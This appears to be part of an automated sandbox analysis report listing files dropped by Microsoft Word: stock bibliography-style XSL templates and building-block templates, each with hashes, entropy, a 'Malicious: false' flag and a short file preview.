C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

